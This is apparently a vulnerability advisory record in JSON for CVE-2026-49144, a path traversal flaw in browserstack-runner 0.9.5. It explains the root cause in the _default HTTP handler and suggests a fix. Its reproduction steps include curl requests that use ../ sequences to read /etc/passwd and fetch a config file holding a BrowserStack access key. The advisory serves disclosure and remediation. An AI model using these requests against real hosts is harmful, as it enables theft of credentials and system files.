{"id":"CVE-2026-49144","aliases":["GHSA-8rpw-6cqh-2v9h"],"url":"https://o3.security/vulnerability/CVE-2026-49144","summary":"BrowserStack Runner 0.9.5 Path Traversal via _default HTTP Handler","details":"## Summary\n\nThe HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.\n\n## Root Cause\n\n**lib/server.js, lines 530–534 : `_default` handler:**\n\n```javascript\n'_default': function defaultHandler(uri, body, request, response) {\n    var filePath = path.join(process.cwd(), uri);\n    handleFile(filePath, request, response);\n}\n```\n\n`uri` comes from `url.parse(request.url).pathname` (line 540), which preserves `../` sequences. `path.join` resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.\n\n**bin/cli.js, line 131 : server binding:**\n\n```javascript\nserver.listen(parseInt(config.test_server_port, 10));\n```\n\nNo hostname is specified, so Node.js binds on `0.0.0.0` (all interfaces).\n\n**No authentication:** The `_default` handler does not call `getWorkerUuid()` or perform any authentication check.\n\n## Steps to Reproduce\n\n### Step 1 : Start the server (Terminal 1)\n\n```bash\ncd browserstack-runner\necho '<html><body>test</body></html>' > _poc_test.html\necho '{\"username\":\"X\",\"key\":\"X\",\"test_path\":\"_poc_test.html\",\"test_framework\":\"qunit\",\"browsers\":[]}' > browserstack.json\nnode bin/runner.js\n```\n\n### Step 2 : Read arbitrary files (Terminal 2)\n\n**Read /etc/hostname:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/hostname\"\n```\n\n**Read /etc/passwd:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/passwd\"\n```\n\n**Read the BrowserStack access key from config:**\n```bash\ncurl -s \"http://127.0.0.1:8888/browserstack.json\"\n```\n\n> **Note:** `--path-as-is` is required because curl normalizes `../` sequences\n> by default. Browsers and HTTP libraries that do not normalize URL paths\n> (or that allow raw path construction) can exploit this without special flags.\n\n### Expected Result\n\n- `/etc/hostname` → server returns the machine hostname\n- `/etc/passwd` → server returns the full passwd file\n- `browserstack.json` → server returns the config including the BrowserStack access key\n\n## Impact\n\n- **BrowserStack access key theft** : `browserstack.json` is always in the project root (same directory the server serves from), and contains `username` and `key` in cleartext\n- **Source code theft** : all project files are readable\n- **System file disclosure** : `/etc/passwd`, `/etc/shadow` (if readable), SSH keys, `.env` files, `.npmrc` (npm tokens), etc.\n- **Chainable with Finding #1** : same server, same exposure window, same network-adjacent attacker\n\n## Suggested Fix\n\n1. Validate the resolved path stays within the project root:\n```javascript\nvar filePath = path.resolve(process.cwd(), '.' + uri);\nif (!filePath.startsWith(process.cwd() + path.sep)) {\n    sendError(response, 'Forbidden', 403);\n    return;\n}\n```\n2. Bind on `127.0.0.1`\n3. Add authentication to the `_default` handler","published":"2026-06-02T20:34:54.748Z","modified":"2026-08-15T04:06:51.325291755Z","cvss":null,"epss":{"score":0.00208,"percentile":0.11236,"asOf":"2026-08-20"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"browserstack-runner","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49144.json"},{"type":"ADVISORY","url":"https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-8rpw-6cqh-2v9h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49144"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/browserstack-runner-path-traversal-via-default-http-handler"},{"type":"PACKAGE","url":"https://github.com/browserstack/browserstack-runner"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-15T04:06:51.325291755Z"}}